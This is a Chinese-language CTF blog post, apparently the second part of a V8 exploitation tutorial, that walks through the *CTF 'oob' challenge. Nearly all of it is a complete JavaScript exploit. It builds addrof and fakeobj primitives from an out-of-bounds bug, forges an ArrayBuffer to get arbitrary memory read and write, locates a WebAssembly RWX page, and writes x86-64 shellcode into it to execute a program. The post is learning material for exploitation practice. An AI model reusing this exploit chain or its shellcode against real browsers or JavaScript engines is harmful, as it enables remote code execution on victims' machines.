实际上前面的工作就是创建一个JSArray(fake_array_buffer_obj),然后为了利用ArrayBuffer的Backing Store和DataView来实现任意地址读写,fake_array_buffer_obj数组元素是构造好一个ArrayBuffer的内存布局,后面构造fake map等一系列操作其实就是把fake_array_buffer_obj的Elements改造成一个ArrayBuffer,这也是为什么最后得到fake_array_buffer时传入fakeobj的其实是fake_array_buffer_obj的Elements的address,之后在寻找wasm instance附近的权限为rwx的内存的偏移,最后只要利用这些工具类写入shellcode就行了,这里简单使用一个弹计算器的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
function gc() {
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function d2u(val) {
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function u2d(val) {
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
// 32-bit unsigned integer to hex **string**
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}

function addrof(obj_param) {
let double_arr = [1.1];
let obj_arr = [{}];
double_arr = double_arr.splice(0);
obj_arr = obj_arr.splice(0);
obj_arr[0] = obj_param;
obj_arr.oob(double_arr.oob());
return d2u(obj_arr[0]);
}
function fakeobj(addr) {
let double_arr = [1.1];
let obj_arr = [{}];
double_arr = double_arr.splice(0);
obj_arr = obj_arr.splice(0);
double_arr[0] = addr;
double_arr.oob(obj_arr.oob());//替换map*
return double_arr[0];
}

gc();gc();
let fake_array_buffer_obj = [
u2d(0), u2d(0), //map*, properties (properties只要不去访问,设置成0也没事)
u2d(0), u2d(0x4000), //elements, length
u2d(0), u2d(2), //backing_store, embedder fields
u2d(0), u2d(0), //padding, padding
u2d(0), u2d(0x1900042319080808), //fake map
];
gc();gc();
let fake_obj_elements_addr = addrof(fake_array_buffer_obj) + 0x48;
print("fake obj elements addr is:"+hex(fake_obj_elements_addr));
let array_buffer_obj_map_addr = fake_obj_elements_addr + 64;
print("fake array buffer's map addr is:"+hex( array_buffer_obj_map_addr));
fake_array_buffer_obj[0]=u2d(array_buffer_obj_map_addr);//fake map的地址替换
let fake_array_buffer = fakeobj(u2d(fake_obj_elements_addr));//fake obj会利用类型混淆,把传入的地址当作HeapObject Pointer解析
let dv = new DataView(fake_array_buffer);

var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121,2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,65, 42, 11]);//一个简单的main函数

var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var wasm_i_addr = addrof(wasm_instance);
function get_32(addr) {
fake_array_buffer_obj[4] = u2d(addr);
return dv.getUint32(0, true);
}

function get_64(addr) {
fake_array_buffer_obj[4] = u2d(addr);//把backing store*改成要读取的地址
return d2u(dv.getFloat64(0, true));//getFloat64函数可以获得backing store*(现在已经被替换成任意地址)中的值,第一个参数是偏移,第二个参数是大小端,true表示小端
}

function set_32(addr, value) {
fake_array_buffer_obj[4] = u2d(addr);
return dv.setUint32(0, value, true);
}

function set_64(addr, value) {
fake_array_buffer_obj[4] = u2d(addr);
return dv.setBigUint64(0, value, true);//写入任意地址
}
var rwx_addr = get_64((wasm_i_addr + 0x88 - 1)); //-1是因为Tagged Value
print('[+] rwx_addr : ' + hex(rwx_addr));

let sc = new Uint32Array(21);
sc[0] = 0x90909090;
sc[1] = 0x90909090;
sc[2] = 0x782fb848;
sc[3] = 0x636c6163;
sc[4] = 0x48500000;
sc[5] = 0x73752fb8;
sc[6] = 0x69622f72;
sc[7] = 0x8948506e;
sc[8] = 0xc03148e7;
sc[9] = 0x89485750;
sc[10] = 0xd23148e6;
sc[11] = 0x3ac0c748;
sc[12] = 0x50000030;
sc[13] = 0x4944b848;
sc[14] = 0x414c5053;
sc[15] = 0x48503d59;
sc[16] = 0x3148e289;
sc[17] = 0x485250c0;
sc[18] = 0xc748e289;
sc[19] = 0x00003bc0;
sc[20] = 0x050f00;
for (let i = 0; i < sc.length; i++) {
set_32(rwx_addr + i * 4, sc[i]);
}
f();//最后调用一下wasm实例化的main函数,来触发shellcode

可以看到弹计算器成功了

image-20241115181021063
image-20241115181021063

m系列mac上用UTM运行的x86虚拟机UI界面实在太卡了,ssh连接更方便点

  • 标题: V8-pwn入门(2)——[*CTF]oob
  • 作者: Sl0th
  • 创建于 : 2024-11-14 12:52:03
  • 更新于 : 2024-11-21 16:00:54
  • 链接: http://sl0th.top/2024/11/14/V8-pwn入门-2-——-CTF-oob/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论